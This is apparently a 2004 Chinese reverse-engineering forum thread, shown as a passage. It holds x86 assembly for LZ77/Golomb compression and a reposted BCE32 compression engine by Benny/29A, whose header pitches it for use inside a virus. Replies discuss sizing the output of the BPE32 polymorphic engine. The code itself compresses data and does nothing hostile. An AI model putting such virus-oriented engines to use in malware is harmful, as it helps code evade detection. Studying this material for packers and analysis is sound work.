;*                                                                   *
;*********************************************************************
CompareStrings:
;//{

      push esi
      push edi

      ;lea eax, [esi+1]
      ;cld
      ;rep cmpsb

      mov eax, esi

lp_CompareStrings:

      mov dl, [esi]
      cmp dl, [edi]
      jnz lb_StringsUnmatched
      inc esi
      inc edi
      loop lp_CompareStrings

lb_StringsUnmatched:

      sub esi, eax
      mov eax, esi

      pop edi
      pop esi

      ret
;//}

;*********************************************************************
;*  FindSubStringWithMaxLength()                                     *
;*                                                                   *
;*  Remarks:                                                         *
;*      Find the sub string of string2 with the max length           *
;*      that matches string1.                                        *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Ecx]                                                        *
;*      The max length of string1.                                   *
;*      [Esi]                                                        *
;*      Point to string1.                                            *
;*      [Edi]                                                        *
;*      Point to string2.                                            *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************
FindSubStringWithMaxLength:
;//{

      push esi
      push edi

      xor eax, eax
      mov [ebp][ulLength], eax ; Initailzie return value
      mov [ebp][ulOffset], eax ; Initialize return value
      mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
      mov edi, edx

      test edi, edi
      jz lb_ExitFindLongestSubstring

      jecxz lb_ExitFindLongestSubstring

lb_LoopOfFindSubStrings:

      push ecx
      call CompareStrings
      pop ecx

      cmp eax, [ebp][ulLength]
      jbe lb_SubStringIsNotTheLongest

      mov [ebp][ulLength], eax
      mov eax, edi
      sub eax, [ebp][pSlideWindowPtr]
      mov [ebp][ulOffset], eax

lb_SubStringIsNotTheLongest:

      inc edi
      loop lb_LoopOfFindSubStrings

lb_ExitFindLongestSubstring:
      pop edi
      pop esi
      ret
;//}

;*********************************************************************
;*                                                                   *
;*  WriteGolombCode()                                                *
;*                                                                   *
;*  Remarks:                                                         *
;*      Write the Golomb code to the bit stream.                     *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Eax]                                                        *
;*      The value which is to be coded.                              *
;*      [Edi]                                                        *
;*      Point to start address of the bit stream.                    *
;*      [Ebx]                                                        *
;*      The offset in the bit stream where the Golomb code           *
;*      will be written.                                             *
;*                                                                   *
;*  Return value:                                                    *
;*      The length of the coding.                                    *
;*                                                                   *
;*********************************************************************
WriteGolombCode:

      lea ecx, [eax-1]
      shr ecx, M ; q
      mov edx, ecx
      push ecx
      jecxz lb_QIsZero

lp_WriteQOnes:
      call Write1ToBitStream
      loop lp_WriteQOnes

lb_QIsZero:
      call Write0ToBitStream

      shl edx, M ; q<<m
      sub eax, edx    ;
      dec eax         ; r = x-(q<<m)-1

      mov ecx, 1

lb_LoopOfWritingR:

      shr eax, 1
      jc lb_CurrentBitIs1_b

      call Write0ToBitStream
      jmp lb_CurrentBitIs0_b

lb_CurrentBitIs1_b:

      call Write1ToBitStream

lb_CurrentBitIs0_b:

      inc ecx
      cmp ecx, M
      jbe lb_LoopOfWritingR

      pop eax
      add eax, M+1

      ret

;//}

;extern "C"
;void __declspec(naked) WINAPI
;LZ77Decompress(
;   PUCHAR  __pDataBuffer,
;   ULONG   __ulNumberOfBits,
;   PUCHAR  __pOutputBuffer,
;   PULONG  __pulNumberOfBytes
;   )
;//{

;*********************************************************************
;*                                                                   *
;*  LZ77Decompress()                                                 *
;*      [Param1]                                                     *
;*      [Param2]                                                     *
;*      [Param3]                                                     *
;*      [Param4]                                                     *
;*                                                                   *
;*  Remarks:                                                         *
;*      Decompress the data.                                         *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Param1]                                                     *
;*      Point to the buffer containing the data that will be         *
;*      decompressed.                                                *
;*      [Param2]                                                     *
;*      The total bits of the data that will be decompressed         *
;*      [Param3]                                                     *
;*      Point to the buffer where the data will be stored after      *
;*      decompression.                                               *
;*      [Param4]                                                     *
;*      The number of bytes of the data after decompression          *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************
ulNumberOfBits      =   (BASE_OFFSET+4)
pOutputBuffer       =   (BASE_OFFSET+8)
pulNumberOfBytes    =   (BASE_OFFSET+12)

LZ77Decompress:

      pushad
      mov ebp, esp

      xor ebx, ebx ; Initialize bit offset
      mov esi, [ebp][pDataBuffer]
      mov edi, [ebp][pOutputBuffer]

      push -MAX_WND_SIZE
      push 0
      sub esp, 3 * 4

lb_LZ77Decompress:

      cmp ebx, [ebp][ulNumberOfBits]
      jae lb_AllDataDecompressed

      call ReadBitFromBitStream

      test eax, eax
      jz lb_SingleCharacter

      mov eax, [ebp][iSlideWindowPtr]
      mov edx, [ebp][pOutputBuffer]

      cmp eax, 0
      jl lb_L2_a
      add edx, eax
      jmp lb_L2_b
lb_L2_a:
      cmp eax, -MAX_WND_SIZE
      jge lb_L2_b
      xor edx, edx
lb_L2_b:

      push edx

      mov ecx, OFFSET_CODING_LENGTH
      call ReadBitsFromBitStream

      push eax
      call ReadGolombCode
      pop eax

      xchg esi, [esp]
      add esi, eax
      add [ebp][iSlideWindowPtr], ecx
      add [ebp][ulBytesDecoded], ecx

lp_CopyingString:

      mov al, [esi]
      mov [edi], al
      inc esi
      inc edi
      loop lp_CopyingString

      pop esi

      jmp lb_LZ77Decompress

lb_SingleCharacter:

      mov ecx, 8
      call ReadBitsFromBitStream

      mov [edi], al
      inc edi
      inc dword ptr [ebp][iSlideWindowPtr]
      inc dword ptr [ebp][ulBytesDecoded]

      jmp lb_LZ77Decompress

lb_AllDataDecompressed:

      mov eax, [ebp][ulBytesDecoded]
      mov ecx, [ebp][pulNumberOfBytes]
      jecxz lb_NumberOfBytesNotRequiredReturned
      mov [ecx], eax

lb_NumberOfBytesNotRequiredReturned:

      mov esp, ebp
      popad
      ret 16

ReadBitFromBitStream:

      push ecx

      mov eax, ebx
      shr eax, 3
      add eax, esi
      mov ecx, ebx
      and ecx, 7
      mov eax, [eax]
      shr eax, cl
      and eax, 1

      pop ecx
      inc ebx

      ret

ReadBitsFromBitStream:

      push edi
      push edx

      xor edx, edx
      xor edi, edi
      xchg ecx, edi

lb_LoopOfReadBits:

      call ReadBitFromBitStream
      shl eax, cl
      or edx, eax

      inc ecx
      dec edi
      jnz lb_LoopOfReadBits

      mov eax, edx
      pop edx
      pop edi
      ret

;*********************************************************************
;*                                                                   *
;*  ReadGolombCode()                                                 *
;*                                                                   *
;*  Remarks:                                                         *
;*      Read the Golomb code from the bit stream.                    *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Esi]                                                        *
;*      Point to start address of the bit stream.                    *
;*      [Ebx]                                                        *
;*      The offset in the bit stream where the Golomb code will      *
;*      be read from.                                                *
;*                                                                   *
;*  Return value:                                                    *
;*      [Ecx]                                                        *
;*      The decoding value                                           *
;*                                                                   *
;*********************************************************************
ReadGolombCode:

      xor edx, edx

lb_ReadNextBitUntil0IsFound:

      call ReadBitFromBitStream
      test eax, eax
      jz lb_ZeroBitIsFound
      inc edx
      jmp lb_ReadNextBitUntil0IsFound

lb_ZeroBitIsFound:

      push edx

      xor ecx, ecx
      xor edx, edx

lb_LoopOfDecodingR:

      call ReadBitFromBitStream
      shl eax, cl
      or edx, eax
      inc ecx
      cmp ecx, M
      jb lb_LoopOfDecodingR

      mov ecx, edx
      pop edx
      shl edx, M
      lea ecx, [ecx+edx+1]
      ret
            

            算法B.
            ;Benny的BCE32 Engine,我认为这是最好的代码
;How can I use BCE32 in my virus ?
;==================================
;
;BCE32 is placed in two procedures called BCE32_Compress and BCE32_Decompress.
;
;
;a) BCE32_Compress:
;-------------------
;Input state:
;1) ESI register - pointer to data, which will be compressed
;2) EDI register - pointer to memory, where will be placed compressed data
;3) ECX register - number of bytes to compress + 1 (do not forget "+ 1" !)
;4) EBX register - work memory (16 bytes)
;5) EDX register - work memory (16 bytes). MUST NOT be same as EBX !
;
;call BCE32_Compress
;
;Output state:
;1) EAX register - new size of compressed data
;2) CF set, if negative compression
;3) Other registers r preserved (except FLAGS)
;
;
;b) BCE32_Decompress:
;---------------------
;Input state:
;1) ESI register - pointer to compressed data
;2) EDI register - pointer to memory, where will be placed decompressed data
;3) ECX register - number of bytes to decompress (EAX value returned by
;  BCE32_Compress) - 1 (do not forget "- 1" !)
;
;call BCE32_Decompress
;
;Output state:
;1) All registers r preserved
;
;
;WARNING: Be sure, u have enought memory for case of negative compression.
;NOTE:U can compress (in some special cases) already compressed data.
;For this purpose exists output parameters EAX and CF.
;
;
;
;Do u like this (or my another work) ?
;======================================
;
;Gimme know. If u have some notes or commentz for this, for another work,
;or if u simply like it, mail me to benny@post.cz. Thanx.
;
;
;
;Don't u like it ?
;==================
;
;Fuck u.
;
;
;
;(c) by Benny/29A May 1999.

BCE32_CompressProc;compression procedure
pushad;save all regs

;stage 1
pushad;and again
create_table:
push ecx;save for l8r usage
push 4
pop ecx;ECX = 4
lodsb;load byte to AL
l_table:push eax;save it
xor edx, edx;EDX = 0
and al, 3;this stuff will separate and test
je st_end;bit groups
cmp al, 2
je st2
cmp al, 3
je st3
st1:inc edx;01
jmp st_end
st2:inc edx;10
inc edx
jmp st_end
st3:mov dl, 3;11
st_end:inc dword ptr [ebx+4*edx];increment count in table
pop eax
ror al, 2;next bit group
loop l_table
pop ecx;restore number of bytes
loop create_table;next byte

push 4;this will check for same numbers
pop ecx;ECX = 4
re_t:cdq;EDX = 0
t_loop:mov eax, [ebx+4*edx];load DWORD
inc dword ptr [ebx+4*edx];increment it
cmp eax, [ebx];test for same numbers
je _inc_;...
cmp eax, [ebx+4];...
je _inc_;...
cmp eax, [ebx+8];...
je _inc_;...
cmp eax, [ebx+12];...
jne ninc_;...
_inc_:inc dword ptr [ebx+4*edx];same, increment it
inc ecx;increment counter (check it in next turn)
ninc_:cmp dl, 3;table overflow ?
je re_t;yeah, once again
inc edx;increment offset to table
loop t_loop;loop
popad;restore regs

;stage 2
pushad;save all regs
mov esi, ebx;get pointer to table
push 3
pop ebx;EBX = 3
mov ecx, ebx;ECX = 3
rep_sort:;bubble sort = the biggest value will
;always "bubble up", so we know number
;steps
push ecx;save it
mov ecx, ebx;set pointerz
mov edi, edx;...
push edx;save it
lodsd;load DWORD (count)
mov edx, eax;save it
sort:lodsd;load next
cmp eax, edx;is it bigger
jb noswap;no, store it
xchg eax, edx;yeah, swap DWORDs
noswap:stosd;store it
loop sort;next DWORD
mov eax, edx;biggest in EDX, swap it
stosd;and store
lea esi, [edi-16];get back pointer
pop edx;restore regs
pop ecx
loop rep_sort;and try next DWORD
popad

;stage 3
pushad;save all regs
xor eax, eax;EAX = 0
push eax;save it
push 4
pop ecx;ECX = 4
n_search:
push edx;save regs
push ecx
lea esi, [ebx+4*eax];get pointer to table
push eax;store reg
lodsd;load DWORD to EAX
push 3
pop ecx;ECX = 3
mov edi, ecx;set pointerz
search:mov esi, edx
push eax;save it
lodsd;load next
mov ebp, eax
pop eax
cmp eax, ebp;end ?
je end_search
dec edi;next search
add edx, 4
loop search
end_search:
pop eax;and next step
inc eax
pop ecx
pop edx
add [esp], edi
rol byte ptr [esp], 2
loop n_search
pop [esp.Pushad_ebx];restore all
popad;...

;stage 4
xor ebp, ebp;EBP = 0
xor edx, edx;EDX = 0
mov [edi], bl;store decryption key
inc edi;increment pointer
next_byte:
xor eax, eax;EAX = 0
push ecx
lodsb;load next byte
push 4
pop ecx;ECX = 4
next_bits:
push ecx;store regs
push eax
and al, 3;separate bit group

push ebx;compare with next group
and bl, 3
cmp al, bl
pop ebx
je cb0

push ebx;compare with next group
ror bl, 2
and bl, 3
cmp al, bl
pop ebx
je cb1

push ebx;compare with next group
ror bl, 4
and bl, 3
cmp al, bl
pop ebx
je cb2

push 0;store bit 0
call copy_bit
push 1;store bit 1
call copy_bit
cb0:push 1;store bit 1
end_cb1:call copy_bit
pop eax
pop ecx
ror al, 2
loop next_bits;next bit
pop ecx
loop next_byte;next byte
mov eax, edi;save new size
sub eax, [esp.Pushad_edi];...
mov [esp.Pushad_eax], eax;...
popad;restore all regs
cmp eax, ecx;test for negative compression
jb c_ok;positive compression
stc;clear flag
ret;and quit
c_ok:clc;negative compression, set flag
ret;and quit
cb1:push 0;store bit 0
end_cb2:call copy_bit
push 0;store bit 0
jmp end_cb1
cb2:push 0;store bit 0
call copy_bit
push 1;store bit 1
jmp end_cb2
copy_bit:
mov eax, ebp;get byte from EBP
shl al, 1;make space for next bit
or al, [esp+4];set bit
cbit:inc edx;increment counter
cmp dl, 8;byte full ?
jne n_byte;no, continue
stosb;yeah, store byte
xor eax, eax;and prepare next one
cdq;...
n_byte:mov ebp, eax;save back byte
ret Pshd;quit from procedure with one parameter on stack
db'[BCE32]', 0;little signature
BCE32_CompressEndP;end of compression procedure

BCE32_DecompressProc;decompression procedure
pushad;save all regs
xor eax, eax;EAX = 0
xor ebp, ebp;EBP = 0
cdq;EDX = 0

lodsb;load decryption key
push eax;store it
lodsb;load first byte
push 8;store 8
push edx;store 0
d_bits:push ecx;store ECX

test al, 80h;test for 1
jne db0
test al, 0c0h;test for 00
je db1
test al, 0a0h;test for 010
je db2
mov cl, 6;its 011
jmp tb2

testb:test bl, 1;is it 1 ?
jne p1
push 0;no, store 0
_tb_:mov eax, ebp;load byte to EAX
or al, [esp];set bit
ror al, 1;and make space for next one
call cbit;end of procedure
ret;...
p1:push 1;store 1
jmp _tb_;and continue

db0:xor cl, cl;CL = 0
mov byte ptr [esp+4], 1;store 1
testbits:
push eax;store it
push ebx;...
mov ebx, [esp+20];load parameter
ror bl, cl;shift to next bit group
call testb;test bit
ror bl, 1;next bit
call testb;test it
pop ebx;restore regs
pop eax

mov ecx, [esp+4];load parameter
bcopy:cmp byte ptr [esp+8], 8;8. bit ?
jne dnlb;nope, continue
mov ebx, eax;load next byte
lodsb
xchg eax, ebx
mov byte ptr [esp+8], 0;and nulify parameter
dec dword ptr [esp];decrement parameter
dnlb:shl al, 1;next bit
test bl, 80h;is it 1 ?
je nb;no, continue
or al, 1;yeah, set bit
nb:rol bl, 1;next bit
inc byte ptr [esp+8];increment parameter
loop bcopy;and align next bits
pop ecx;restore ECX
inc ecx;test flags
dec ecx;...
jns d_bits;if not sign, jump

pop eax;delete pushed parameters
pop eax;...
pop eax;...
popad;restore all regs
ret;and quit

db1:mov cl, 2;2. bit in decryption key
mov [esp+4], cl;2 bit wide
jmp testbits;test bits
db2:mov cl, 4;4. bit
tb2:mov byte ptr [esp+4], 3;3 bit wide
jmp testbits;test bits
BCE32_DecompressEndP;end of decompression procedure
2004-12-5 13:50
0
雪    币: 1540
活跃值: (2807)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
Pshd在那里有所引用?

最初由 cyclotron 发布

call rjunk
pop esi
ret Pshd ->等效的masm32写法是什么?

thx
2004-12-5 14:35
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
9
最初由 forgot 发布
科普文章首推kme

对KME暂时还缺乏感性认识:( 等有空调试一下SVKP

thx to 采臣・宁;)

顺便问一下,汇编前有什么办法预估生成的变形代码的体积以便腾出相应的空间?
2004-12-5 14:36
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
10
最初由 limee 发布
Pshd在那里有所引用?


BPE32
Benny's Polymorphic Engine.
2004-12-5 14:38
0
雪    币: 154
活跃值: (216)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
不太明白你的预知大小是什么意思,但是你可以在代码臆后定义两个标签来在程序运行时中得到代码的尺寸。比如:
.codestart:
    程序代码...
lenCode dd $-.codestart
2004-12-5 15:23
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
12
如果有现成的代码那当然好办啦,
问题就在于BPE生成的变形代码是不可预知的,
其体积必然与算法有关,
我是寻求可以通过原来代码的体积换算变形后的代码的最大体积的公式类解法。
2004-12-5 15:44
0
雪    币: 154
活跃值: (216)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
最初由 cyclotron 发布
如果有现成的代码那当然好办啦,
问题就在于BPE生成的变形代码是不可预知的,
其体积必然与算法有关,
我是寻求可以通过原来代码的体积换算变形后的代码的最大体积的公式类解法。

哦,你要的是最大体积。一般来说变形形态是通过一个随机函数来控制的。只对特定类型的操作码进行变形。你不可能在编程的时候自己数特定代码的个数吧。当然你可以大致做一个测试来确定尺寸。反正内存申请是1000H对齐的。每次变形代码应该不会大于这个数。
2004-12-5 15:56
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
14
bpe32, telock的做法是+200h尺寸内存,多余的地方用垃圾指令填满
2004-12-5 16:05
0
雪    币: 154
活跃值: (216)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
15
版主对BPE可真是了解啊。佩服佩服!
2004-12-5 16:37
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
16
醍醐灌顶~~难怪每次BPE32以后都有一大堆垃圾:D
2004-12-5 16:54
0
游客
登录 | 注册 方可回帖
返回
//